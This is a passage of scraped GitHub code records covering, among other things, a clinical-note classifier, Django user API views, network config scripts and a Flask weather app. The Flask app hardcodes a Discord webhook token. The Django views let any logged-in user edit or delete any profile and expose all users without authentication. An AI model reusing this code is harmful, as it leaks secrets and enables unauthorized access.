SVC\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\n\ntrainPath = \"C:\\\\Users\\Facebook\\Desktop\\Fred Hutch Internship\\ClinicalNotesReader\\TrainingDataset\"\ntestPath = \"C:\\\\Users\\Facebook\\Desktop\\Fred Hutch Internship\\ClinicalNotesReader\\TestingDataset\"\n\ngradeTrain = ds.load_files(trainPath,load_content = True,encoding = 'utf-8')\ngradeTest = ds.load_files(testPath,load_content= True,encoding = 'utf-8')\ngrade3CertainPath = \"C:\\\\Users\\Facebook\\Desktop\\Fred Hutch Internship\\ClinicalNotesReader\\Grade-Certain\\Grade3-Certain.txt\"\ngrade4CertainPath = \"C:\\\\Users\\Facebook\\Desktop\\Fred Hutch Internship\\ClinicalNotesReader\\Grade-Certain\\Grade4-Certain.txt\"\ngrade3CertainList = []\ngrade4CertainList = []\n\n#['Grade 1 or 2', 'Grade 3', 'Grade 4', 'Non-Existent'] - target_names\n# CountVectorizer- Turn text in matrix of token counts\n# Tfidf - Calculate term frequency times inverse document frequency\n\n\n'''Create and train a classifier'''\ndef trainClf():\n global clf\n # Pipeline to quickly train classifier\n clf = Pipeline([('vect',CountVectorizer()),\n ('tfidf',TfidfTransformer()),\n ('clf',MultinomialNB())])\n\n clf = clf.fit(gradeTrain['data'],gradeTrain['target'])\n\n\n'''Predict on Test Data set'''\ndef predictTest():\n predicted = clf.predict(gradeTest['data'])\n certain = checkCertain(gradeTest['data'])\n for change in certain:\n predicted[change[0]] = change[1]\n print(\"TOTAL ACCURACY: \" + str(accuracy_score(gradeTest['target'],predicted)))\n for x in range(len(predicted)):\n index = gradeTest['target'][x]\n pIndex = predicted[x]\n print(gradeTest['data'][x] + \"| ACTUAL:\" +\n gradeTest['target_names'][index] + \" PREDICTED: \"\n + gradeTest['target_names'][pIndex])\n\n'''Loads/Maps the text files containing the words which determines the grade'''\ndef loadCertain(path,list):\n rObject = open(path, 'r')\n for line in rObject:\n line = line.strip()\n line = line.lower()\n list.append(line)\n\n'''Checks if the data passed in contains terms that are specific to a certain grade'''\ndef checkCertain(data):\n certain = []\n #certain indicator - (index,grade)\n for x in range(len(data)):\n temp = ()\n for indicator in grade3CertainList:\n if indicator in data[x]:\n temp = (x,1)\n for i in grade4CertainList:\n if i in data[x]:\n print(i)\n temp = (x,2)\n if temp:\n certain.append(temp)\n return certain\n\nloadCertain(grade3CertainPath,grade3CertainList)\nloadCertain(grade4CertainPath,grade4CertainList)\n\ntrainClf()\npredictTest()","repo_name":"Unagifan/GITGrader","sub_path":"GITGradeClassifier.py","file_name":"GITGradeClassifier.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23460529031","text":"from django.contrib.auth import authenticate\nfrom django.contrib.auth.models import User\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework_simplejwt.authentication import JWTAuthentication\nfrom rest_framework import generics, filters, status\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom rest_framework import permissions\nfrom rest_framework.decorators import api_view\nfrom rest_framework.generics import (\n CreateAPIView,\n RetrieveUpdateDestroyAPIView, ListAPIView,\n)\n\nfrom user.models import User\nfrom user.serializers import (\n UserSerializer,\n UserLoginSerializer,\n UserLogoutSerializer,\n UserProfileSerializer,\n FollowingSerializer,\n)\n\n\n@api_view([\"GET\"])\ndef user_endpoints(request):\n base_url = request.build_absolute_uri(\"/api/user/\")\n endpoints = {\n \"Create user\": f\"{base_url}register/\",\n \"Login\": f\"{base_url}login/\",\n \"Logout\": f\"{base_url}logout/\",\n \"Token\": f\"{base_url}token/\",\n \"Refresh Token\": f\"{base_url}token/refresh/\",\n \"Verify Token\": f\"{base_url}token/verify/\",\n \"My profile\": f\"{base_url}me/\",\n \"Search Users\": f\"{base_url}users/search/\",\n \"Update/Delete User Profiles\": f\"{base_url}profiles//\",\n \"Following Users\": f\"{base_url}following/\",\n \"User's Followers\": f\"{base_url}/followers/\",\n \"My profiles\": f\"{base_url}profile/\",\n \"User Profiles\": f\"{base_url}all/\",\n \"User's Profile\": f\"{base_url}/\",\n }\n return Response(endpoints)\n\n\nclass IsOwnerOrReadOnly(permissions.BasePermission):\n def has_object_permission(self, request, view, obj):\n if request.method in permissions.SAFE_METHODS:\n return True\n return obj.user == request.user\n\n\nclass CreateUserView(CreateAPIView):\n serializer_class = UserSerializer\n\n\nclass UserLoginView(APIView):\n serializer_class = UserLoginSerializer\n\n def post(self, request):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid():\n email = serializer.validated_data[\"email\"]\n password = serializer.validated_data[\"password\"]\n user = authenticate(request, email=email, password=password)\n if user is not None:\n return Response(\n {\"message\": \"Login successful.\"}, status=status.HTTP_200_OK\n )\n else:\n return Response(\n {\"message\": \"Invalid email or password.\"},\n status=status.HTTP_400_BAD_REQUEST,\n )\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UserLogoutView(APIView):\n serializer_class = UserLogoutSerializer\n permission_classes = [IsAuthenticated]\n\n def post(self, request):\n refresh_token = request.data.get(\n \"refresh\",\n )\n # Blacklist the refresh token to invalidate it\n try:\n token = RefreshToken(refresh_token)\n token.blacklist()\n return Response({\"detail\": \"Logout successful\"})\n except Exception:\n return Response({\"detail\": \"Invalid token\"}, status=401)\n\n\nclass ManageUserView(generics.RetrieveUpdateAPIView):\n serializer_class = UserSerializer\n authentication_classes = (JWTAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n def get_object(self):\n return self.request.user\n\n\nclass UserProfileUpdateDeleteView(RetrieveUpdateDestroyAPIView):\n authentication_classes = (JWTAuthentication,)\n permission_classes = (IsAuthenticated,)\n\n queryset = User.objects.all()\n serializer_class = UserProfileSerializer\n lookup_field = \"pk\"\n\n def get(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = self.get_serializer(instance)\n return Response(serializer.data)\n\n def put(self, request, *args, **kwargs):\n instance = self.get_object()\n serializer = self.get_serializer(instance, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, *args, **kwargs):\n instance = self.get_object()\n self.perform_destroy(instance)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass UserDetailView(generics.RetrieveAPIView):\n authentication_classes = (JWTAuthentication,)\n permission_classes = (IsAuthenticated,)\n serializer_class = UserProfileSerializer\n\n def get(self, request, pk):\n user = User.objects.get(pk=pk)\n serializer = self.serializer_class(user, context={\"request\": request})\n data = serializer.data\n return Response(data)\n\n def get_followers(self, request, pk):\n user = User.objects.get(pk=pk)\n followers = user.followers.all()\n serializer = self.serializer_class(followers, many=True, context={\"request\": request})\n data = serializer.data\n return Response(data)\n\n def post(self, request, pk):\n user = User.objects.get(pk=pk)\n request_user = request.user\n if request_user.is_authenticated:\n if user.followers.filter(pk=request_user.pk).exists():\n user.followers.remove(request_user)\n return Response(\n {\n \"username\": user.username,\n \"profile_picture\": user.profile_picture.url\n if user.profile_picture\n else None,\n \"followed\": False,\n },\n status=status.HTTP_200_OK,\n )\n else:\n user.followers.add(request_user)\n return Response(\n {\n \"username\": user.username,\n \"profile_picture\": user.profile_picture.url\n if user.profile_picture\n else None,\n \"followed\": True,\n },\n status=status.HTTP_200_OK,\n )\n return Response(\n {\"detail\": \"Authentication required\"}, status=status.HTTP_401_UNAUTHORIZED\n )\n\n\nclass UserProfileListAPIView(APIView):\n def get(self, request):\n profiles = User.objects.all()\n serializer = UserSerializer(profiles, many=True)\n return Response(serializer.data)\n\n\nclass UserSearchView(generics.ListAPIView):\n authentication_classes = (JWTAuthentication,)\n permission_classes = (IsAuthenticated,)\n serializer_class = UserSerializer\n queryset = User.objects.all()\n filter_backends = [filters.SearchFilter]\n search_fields = [\"username\", \"email\"]\n\n\nclass FollowingUserListAPIView(ListAPIView):\n serializer_class = FollowingSerializer\n permission_classes = [IsAuthenticated]\n\n def get_queryset(self):\n user = self.request.user\n return user.following.all()\n\nclass FollowerListView(ListAPIView):\n serializer_class = UserSerializer\n permission_classes = [IsAuthenticated]\n\n def get_queryset(self):\n user = self.request.user\n return user.followers.all()\n","repo_name":"avkpol/social-media-API","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1613602569","text":"#!/usr/bin/python3\nimport sys\n#print(sys.argv)\nin1 = input('Etner 1-st interface in the bundle: ')\nin2 = input('Enter 2-nd interface in the bundle: ')\nae = input('Enter ae number')\ninterface_template = [ 'set interface {int1} gigether-options 802.3ad ae{ae}',\n\t\t\t'set interface {int2} gigether-options 802.3ad ae{ae}',\n\t\t\t'set interface ae{ae} agragated-ether-options lacp periodic fast']\n#print(in1, in2, ae)\t \nprint('\\n'.join(interface_template).format(int1=in1, int2=in2, ae=ae))\n","repo_name":"arturiuslim/arthur_storage","sub_path":"arthurs_scripts/jum_ae_int.py","file_name":"jum_ae_int.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"25199218689","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 2019/5/5 上午10:19\n# @Author : Chenzd\n# @Site : 读取配置文件\n# @File : readConfig.py\n# @Software: PyCharm\n# @company: LEELEN\nimport configparser\nimport os\nimport filePath\nfrom public.configLog import Logger\nlogger = Logger(logger='public.readConfig.ReadConfig').getlog()\n\nconfig_file = os.path.join(filePath.config_path, 'config.ini')\n\nclass ReadConfig:\n\n def __init__(self):\n self.configParser = configparser.ConfigParser()\n self.configParser.read(config_file)\n\n def get_email(self,name):\n value = self.configParser.get('email',name)\n logger.info('读取config.ini文件 email:[%s:%s]'%(name, value))\n return value\n\nif __name__ == '__main__':\n a = ReadConfig().get_email('mail_user')\n print(a)","repo_name":"chales20/ios_luxdomo","sub_path":"public/readConfig.py","file_name":"readConfig.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30955299518","text":"import shlex\nimport subprocess\n\ndef execute_cmd(args, useBash = False, printOutput=True):\n \"\"\"\n Execute the external command and get its exitcode, stdout are yield.\n \"\"\"\n\n if useBash:\n args = 'bash.exe -c \"' + ' '.join(args) + '\"'\n \n print('running: ' + str(args))\n\n if printOutput:\n popen = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)\n for stdout_line in iter(popen.stdout.readline, ''):\n print(stdout_line, end='')\n\n popen.stdout.close()\n else:\n popen = subprocess.Popen(args)\n\n return_code = popen.wait()\n if return_code:\n raise subprocess.CalledProcessError(return_code, args)\n\n","repo_name":"c-esswein/gemsearch","sub_path":"gemsearch/utils/proc.py","file_name":"proc.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38587622983","text":"import numpy as np\nimport scipy.stats as stats\nimport matplotlib.pyplot as plt\n\ndata = np.mat([[1, 200, 105, 3, False],\n [2, 165, 80, 2, False],\n [3, 184.5, 120, 2, False],\n [4, 116, 70.8, 1, False],\n [5, 270, 150, 4, True]])\n\ncoll = []\nfor row in data:\n coll.append(row[0, 1])\n\nstats.probplot(coll, plot=plt)\nplt.show()\n","repo_name":"Inspring6/OpenCV_TensorFlow","sub_path":"ch03/program3-4.py","file_name":"program3-4.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36389812368","text":"import os\nfrom unittest import TestCase\nimport subprocess\n\n\nclass LocustTestCase(TestCase):\n\n def test(self):\n path = os.path.abspath(\n os.path.join(\n os.path.dirname(__file__),\n 'django/project/db.sqlite3'\n )\n )\n subprocess.call(['cp', os.devnull, path])\n subprocess.Popen(\n ['python tests/django/project/manage.py migrate && '\n 'python tests/django/project/manage.py runserver'],\n shell=True\n )\n popen = subprocess.Popen([\n 'locust', '-f', 'tests/_locust.py', '--clients=2',\n '--no-web', '--host=http://127.0.0.1:8000'\n ])\n pid = popen.pid\n subprocess.call([\n '''\n sleep 20 && kill {pid}\n '''.format(\n pid=pid\n )\n ], shell=True)\n popen.wait()\n subprocess.call([\n '''\n ps aux |grep manage | grep runserver |\n awk {{'print $2'}} | xargs kill\n '''\n ], shell=True)\n self.assertEquals(popen.returncode, 0)\n","repo_name":"sergeyglazyrindev/gherkin-locust","sub_path":"tests/test_adapters.py","file_name":"test_adapters.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41236648900","text":"\"\"\" dl_model_eval.py: \n \n This program is used to separately evaluate the model with the eval dataset.\n \n A CSV containing the eval dataset is iterated through and the model is used to predict the label of each Tweet.\n\"\"\"\n\n__author__ = \"Breydon Verryt-Reid\"\n__date__ = \"28 Sep 22\"\n__version__ = 1.5\n__status__ = \"Complete\"\n__notes__ = \"This program is intended to be run as a standalone program\"\n\n# importing required libraries\n# !pip install transformers\nfrom transformers import pipeline, AutoModelForSequenceClassification\nimport csv\n\ndef dlmodelmain(input):\n \"\"\" This function contains the model which takes in a string or list of strings and performs an analysis of that text\n\n ** Parameters **\n input: a str containing the body of a Tweet (after being preprocessed)\n\n ** Returns **\n N/A\n \"\"\"\n model = AutoModelForSequenceClassification.from_pretrained(\"bvrau/covid-twitter-bert-v2-struth\", num_labels=2) # this is the model that was trained\n pipe = pipeline(\"text-classification\", model=model, tokenizer=\"bvrau/covid-twitter-bert-v2-struth\", top_k=2, function_to_apply=\"sigmoid\") # this is the pipeline that is used to make predictions\n result = pipe(input) # this is the prediction\n print(result,\"\\n\") # prints the prediction result\n \n # this section of code is used to return the predicted label and score - not in use\n # resultdict = result[0]\n # label = resultdict['label']\n # score = resultdict['score']\n # print(\"** Results **\")\n # print(\"Determination: \"+label)\n # print(\"Certainty: \"+str(score)) \n # return label, score\n\ndef dataloader(file):\n \"\"\" This function loads the data from the csv file and lists item by item the expected output.\n The data is then passed to the dlmodelmain function for pipeline prediction.\n The results are then compared to the expected output and the accuracy is calculated.\n\n ** Parameters **\n N/A\n\n ** Returns **\n N/A\n \"\"\" \n test = file\n with open(test, 'r') as csvfile: # opens the csv file\n datareader = csv.reader(csvfile, delimiter=',') # reads the csv file\n next(datareader) # skips the first row of the csv file (headers)\n for row in datareader: # iterates through each row of the csv file\n if row[0] == \"0\": \n actual = \"real\" # sets the expected output to real\n elif row[0] == \"1\":\n actual = \"fake\" # sets the expected output to fake\n print(\"This should be classified: \", actual) # prints the expected output\n dlmodelmain(row[1]) # passes the Tweet body to the dlmodelmain function for prediction\n\ndataloader(\"preproc_data_eval.csv\")","repo_name":"Struth-Social-UNSW/ITProject2","sub_path":"Backend/deep-learn-algo/train_test/dl_model_eval.py","file_name":"dl_model_eval.py","file_ext":"py","file_size_in_byte":2767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30792608133","text":"import sys\nimport time\nimport subprocess\nfrom subprocess import PIPE, Popen\nfrom threading import Thread\nfrom queue import Queue, Empty # python 3.x\n\n# Django Thread\ndef start_django():\n subprocess.call(['python', './servers/manage.py', 'runserver', '0.0.0.0:8000'])\n\ndjangoThread = Thread(target=start_django, name=\"Django Thread\")\ndjangoThread.start()\n\n\ntime.sleep(2)\n\ndef start_clients():\n subprocess.call(['python', './clients.py'])\n\nclientsThread = Thread(target=start_clients, name=\"Clients Thread\")\nclientsThread.start()\n\n\ntime.sleep(3)\n\ndef start_simulation():\n subprocess.call(['python', './__main__.py'])\n\nsimulationThread = Thread(target=start_simulation, name=\"Simulation Thread\")\nsimulationThread.start()\n\n\n","repo_name":"imran1161/Access-Control-Framework","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70161342172","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('profiles', '0003_auto_20170705_0313'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='profiles',\n name='locations',\n field=models.CharField(blank=True, max_length=120, default='My Location Default', null=True),\n ),\n ]\n","repo_name":"csp5096/python3.5-django-ecommerce","sub_path":"src/profiles/migrations/0004_auto_20170705_0316.py","file_name":"0004_auto_20170705_0316.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27905926095","text":"from geopy.geocoders import Nominatim\nfrom flask import *\nimport requests\nimport json\nimport getweather\nimport threading\nimport time\nimport schedule\n\napp = Flask(__name__)\n\n# calling the nominatim tool\ngeoLoc = Nominatim(user_agent=\"GetLoc\")\n \n\nweather_api_url = \"https://opendata.cwa.gov.tw/api/v1/rest/datastore/F-C0032-001\"\n#\"latitude\":\"25.0575931\",\"longitude\":\"121.3625344\"\n@app.route('/get_weather', methods=['GET'])\ndef get_weather():\n data = request.get_json()\n authorization = data.get('Authorization')\n latitude = data.get('latitude')\n longitude = data.get('longitude')\n # location = data.get('locationName')\n locname = geoLoc.reverse(\"25.0575931, 121.3625344\")\n address_parts = locname.address.split(\", \")\n if len(address_parts) >= 4:\n location = address_parts[-3]#縣市\n district = address_parts[-4]#區域\n print(\"縣市:\", location)\n print(\"區域:\", district)\n else:\n print(\"地址訊息不足\")\n print(locname.address)\n if not authorization or not latitude or not longitude:\n return jsonify({'error': '前端缺少參數'})\n\n params = {\n 'Authorization': authorization,\n 'locationName': location,\n 'format': 'JSON', \n }\n try:\n response = requests.get(weather_api_url, params=params)\n response.raise_for_status() \n\n try:\n weather_data = response.json()\n return jsonify(weather_data)\n except json.JSONDecodeError as e:\n return jsonify({'error': 'API無法解析為json'})\n\n except requests.exceptions.RequestException as e:\n return jsonify({'error': 'API請求失敗'})\n\n@app.route(\"/\")\ndef index():\n\treturn render_template(\"index.html\")\n\ndef sendmsg(name,content):\n webhook_url=\"https://discordapp.com/api/webhooks/1163495849842704565/I7SJdtkonFMMvuXFs3GQTshXtwCB47N3juFGLNtBf1bLAevRIXukZdH82j31jfhRbCxQ\"\n data={\"content\":\"Hi \"+name+\",\\n\"+content}\n headers = {'Content-Type': 'application/json'}\n requests.post(webhook_url, data=json.dumps(data), headers=headers) \n #time.sleep(28800)\n time.sleep(60)\n\n\n#control=0 =>will not send msg to discord\ncontrol=0\n\ndef schedule_sendmsg(name,content):\n global control\n while control==1:\n #schedule.every().monday.at(\"09:00\").do(sendmsg,name,content[0])#早上發\n #schedule.every().tuesday.at(\"09:00\").do(sendmsg,name,content[0])\n #schedule.every().wednesday.at(\"09:00\").do(sendmsg,name,content[0])\n #schedule.every().thursday.at(\"09:00\").do(sendmsg,name,content[0])\n #schedule.every().friday.at(\"09:00\").do(sendmsg,name,content[0])\n #schedule.every().monday.at(\"18:00\").do(sendmsg,name,content[1])#晚上發\n #schedule.every().tuesday.at(\"18:00\").do(sendmsg,name,content[1])\n #schedule.every().wednesday.at(\"18:00\").do(sendmsg,name,content[1])\n #schedule.every().thursday.at(\"18:00\").do(sendmsg,name,content[1])\n #schedule.every().friday.at(\"18:00\").do(sendmsg,name,content[1])\n schedule.every().friday.at(\"19:25\").do(sendmsg,name,content[1])\n schedule.run_pending()\n time.sleep(60)\n\n#set control=1 and open clock to send msg to discord\n@app.route('/api/remind', methods=['GET'])\ndef api_remind():\n global control\n #need to add query string ex: /api/remind?username=123&cityselect=新北市\n city=request.args.get(\"cityselect\")\n username=request.args.get(\"username\")\n data=getweather.get_location_weather(city)\n try:\n control=1\n task_thread = threading.Thread(target=schedule_sendmsg, args=(username, data))\n task_thread.daemon = True\n task_thread.start()\n\n data = {\"message\":\"成功發送\"}\n return jsonify(data)\n except Exception as e:\n return jsonify({\"error\":\"發送失敗\"+str(e)})\n\n\n#set control=0 and turn off reminder\n@app.route('/api/turnoff', methods=['GET'])\ndef api_turnoff():\n global control\n try:\n control=0\n print(control)\n data = {\"message\":\"成功關閉\"}\n return jsonify(data)\n except Exception as e:\n return jsonify({\"error\":\"關閉失敗\"+str(e)})\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)","repo_name":"jason407891/fifth-team-weather","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29944405407","text":"\ndef min_removals(txt1, txt2):\n x=list(txt1)\n y=list(txt2)\n y.sort()\n d=\"\".join(y)\n e=\"\".join(x)\n z=[]\n for i in range(len(x)):\n if x[i] in y:\n z.append(x[i])\n a=(\"\".join(z))\n b=d.strip(a)\n c=e.strip(a)\n return(len(b)+len(c))\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"KYGpco9NFmJRyMQqj_14.py","file_name":"KYGpco9NFmJRyMQqj_14.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38594415319","text":"import RPi.GPIO as GPIO\nimport time\nimport random\nrandom.seed()\n\n#set pins\nGPIO.setmode (GPIO.BOARD)\nGPIO.setwarnings (False)\nGPIO.setup (11, GPIO.OUT) #laser power\nGPIO.setup (13, GPIO.OUT) #X-servo\nGPIO.setup (15, GPIO.OUT) #Y-servo\nGPIO.setup (19, GPIO.IN, pull_up_down=GPIO.PUD_UP) #in from IR\n\n#setup servo pwm\np = GPIO.PWM (13, 50)\nq = GPIO.PWM (15, 50)\n\n#set both servos to center to start\np.start (7.5)\nq.start (7.5)\n\ndef moveServos():\n \"Turns on laser and moves X- and Y-servos randomly\"\n lightLaser ()\n\n p.ChangeDutyCycle (random.randint (8, 12))\n time.sleep (random.random())\n q.ChangeDutyCycle (random.randint (8, 12))\n time.sleep (random.random())\n\n p.ChangeDutyCycle (random.randint (3, 5))\n time.sleep (random.random())\n q.ChangeDutyCycle (random.randint (3, 5))\n time.sleep (random.random())\n\n dimLaser ()\n\ndef lightLaser():\n GPIO.output (11, 1)\n\ndef dimLaser():\n GPIO.output (11, 0)\n\n#main loop\nwhile True:\n #check for input from sensor\n if GPIO.input (19):\n moveServos()\n time.sleep (0.5) #wait a half sec before polling sensor\n else:\n dimLaser()\n time.sleep (0.5)\n","repo_name":"Apress/Learn-Rasp-Pi-Program-Python","sub_path":"Chapter9/cat_toy.py","file_name":"cat_toy.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"32"} +{"seq_id":"37308223913","text":"import torch\nfrom torch.distributed import barrier\nimport os\n\nfrom cmdline import *\nfrom atlas import *\n\noasis_ds_std = OASISDataset(crop=None,\n h5path=f'{prefix}convaffinestd_{suffix}.h5',\n pooling=None,\n one_scan_per_subject=False)\noasis_ds_test_std = OASISDataset(crop=None,\n h5path=f'{prefix}convaffinestd_test_{suffix}.h5',\n pooling=None,\n one_scan_per_subject=False)\n\ndeepaffinefile = f'{prefix}deepaffine_{suffix}.pth'\nI_deepaffine, affine_net, epoch_losses_deepaffine, full_losses_deepaffine, \\\n iter_losses_deepaffine, test_losses_deepaffine \\\n = torch.load(deepaffinefile, map_location=loc)\nI_deepaffine = I_deepaffine.to(loc)\n\nfluid_params = [.1,0,.01]\nreg_weight = 1e4\n\nif rank == 0: torch.save(fluid_params, f'{prefix}fluidparams_{suffix}.pth')\nconvlddmmfile = f'{prefix}convlddmm_{suffix}.pth'\nif not os.path.isfile(convlddmmfile): # conventional lddmm atlas\n print(\"Conventional LDDMM atlas building\")\n res = lddmm_atlas(dataset=oasis_ds_std,\n I0=I_deepaffine.clone().to('cuda'),\n fluid_params=fluid_params,\n learning_rate_pose=1e-3,\n learning_rate_image=5e4,\n reg_weight=reg_weight,\n momentum_preconditioning=False,\n batch_size=30,\n num_epochs=500,\n gpu=gpu,\n world_size=args.world_size,\n rank=rank)\n if rank == 0: torch.save(res, convlddmmfile)\nelse:\n torch.load(convlddmmfile, map_location='cpu')\nbarrier()\nIlddmm, _, _, _ = res\nIlddmm = Ilddmm.to(loc)\n\n# On the test set, use same atlas-building code but with zero learning rate for\n# the image\nconvlddmmtestfile = f'{prefix}convlddmm_test_{suffix}.pth'\nif not os.path.isfile(convlddmmtestfile): # conventional lddmm atlas\n print(\"Conventional LDDMM Test\")\n res = lddmm_atlas(dataset=oasis_ds_test_std,\n I0=Ilddmm,\n fluid_params=fluid_params,\n learning_rate_pose=1e-3,\n learning_rate_image=0e4,\n momentum_preconditioning=False,\n reg_weight=reg_weight,\n batch_size=30,\n num_epochs=1,\n lddmm_steps=500,\n gpu=gpu,\n world_size=args.world_size,\n rank=rank)\n if rank == 0: torch.save(res, convlddmmtestfile)\n del res\n#Ilddmm, mom_lddmm, epoch_losses, iter_losses = torch.load(convlddmmtestfile,\n #map_location=loc)\n","repo_name":"jacobhinkle/diffeomorphic_autoencoders","sub_path":"run_convlddmm.py","file_name":"run_convlddmm.py","file_ext":"py","file_size_in_byte":3208,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"32"} +{"seq_id":"25461703327","text":"import pygame\nfrom GObject import GObject, Constants\nfrom text import Text\nfrom graph import Graph\n\n\nclass ControlPanel(GObject):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.width = 300\n self.image = pygame.Surface((self.width, Constants.HEIGHT.value))\n self.image.set_alpha(100)\n self.image.fill(Constants.WHITE.value)\n self.rect = self.image.get_rect()\n self.rect.right = Constants.WIDTH.value\n self.rect.bottom = Constants.HEIGHT.value\n # GObject.all_objects.add(self)\n GObject.control_panel.add(self)\n\n self.population_graph = Graph(y=GObject.current_population_list,\n x=GObject.duration_cell_list,\n size=(250, 150))\n self.population_graph.rect.centerx, self.population_graph.rect.top = (Constants.WIDTH.value - 150, 20)\n self.population_graph.color = Constants.RED.value\n self.population_graph.xlabel.text = 'Frames'\n self.population_graph.ylabel.text = 'Count of cells'\n\n self.current_food_graph = Graph(y=GObject.current_food_list,\n x=GObject.duration_food_list,\n size=(250, 150))\n self.current_food_graph.rect.centerx = Constants.WIDTH.value - 150\n self.current_food_graph.rect.top = self.population_graph.rect.bottom + 40\n self.current_food_graph.color = Constants.BLUE.value\n self.current_food_graph.xlabel.text = 'Frames'\n self.current_food_graph.ylabel.text = 'Count of food'\n\n self.count_of_extinction = Text(30)\n self.fps = Text(30)\n self.duration = Text(30)\n self.current_food = Text(30)\n self.total_food = Text(30)\n self.current_population = Text(30)\n self.total_born = Text(30)\n\n def update(self):\n self.count_of_extinction.update(text=f'Count of extinction: {GObject.count_of_extinction}',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 210),\n color=Constants.BLACK.value)\n self.duration.update(text=f'Duration: {GObject.duration // 60}m or {GObject.duration // 3600}h',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 180),\n color=Constants.BLACK.value)\n self.fps.update(text=f'FPS: {GObject.fps}',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 150),\n color=Constants.BLACK.value)\n self.current_food.update(text=f'Current food: {len(GObject.food)}',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 120),\n color=Constants.BLACK.value)\n self.total_food.update(text=f'Total food: {GObject.count_of_food_ever}',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 90),\n color=Constants.BLACK.value)\n self.current_population.update(text=f'Current population: {len(GObject.cells)}',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 60),\n color=Constants.BLACK.value)\n self.total_born.update(text=f'Total born: {GObject.count_of_cells_ever}',\n xy=(Constants.WIDTH.value - 150, Constants.HEIGHT.value - 30),\n color=Constants.BLACK.value)\n self.population_graph.update()\n self.current_food_graph.update()\n\n def draw(self):\n pygame.display.get_surface().blit(self.image, (self.rect.x, self.rect.y))\n self.count_of_extinction.draw()\n self.duration.draw()\n self.fps.draw()\n self.current_food.draw()\n self.total_food.draw()\n self.current_population.draw()\n self.total_born.draw()\n self.population_graph.draw()\n self.current_food_graph.draw()\n","repo_name":"vallenov/TheLittleLife","sub_path":"control_panel.py","file_name":"control_panel.py","file_ext":"py","file_size_in_byte":4062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24094968130","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 22 07:40:04 2017\n\n@author: jerome\n\"\"\"\n\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport cv2\nimport glob\nimport time\nimport pickle\nfrom sklearn.svm import LinearSVC\nfrom sklearn.svm import SVC\nfrom sklearn.preprocessing import StandardScaler\nfrom skimage.feature import hog\nfrom lesson_functions import *\nfrom find_object import *\n# NOTE: the next import is only valid for scikit-learn version <= 0.17\n# for scikit-learn >= 0.18 use:\nfrom sklearn.model_selection import train_test_split\n#from sklearn.cross_validation import train_test_split\nfrom sklearn.model_selection import GridSearchCV\n# Define a function to extract features from a single image window\n# This function is very similar to extract_features()\n# just for a single image rather than list of images\ndef single_img_features(img, color_space='RGB', spatial_size=(32, 32),\n hist_bins=32, orient=9, \n pix_per_cell=8, cell_per_block=2, 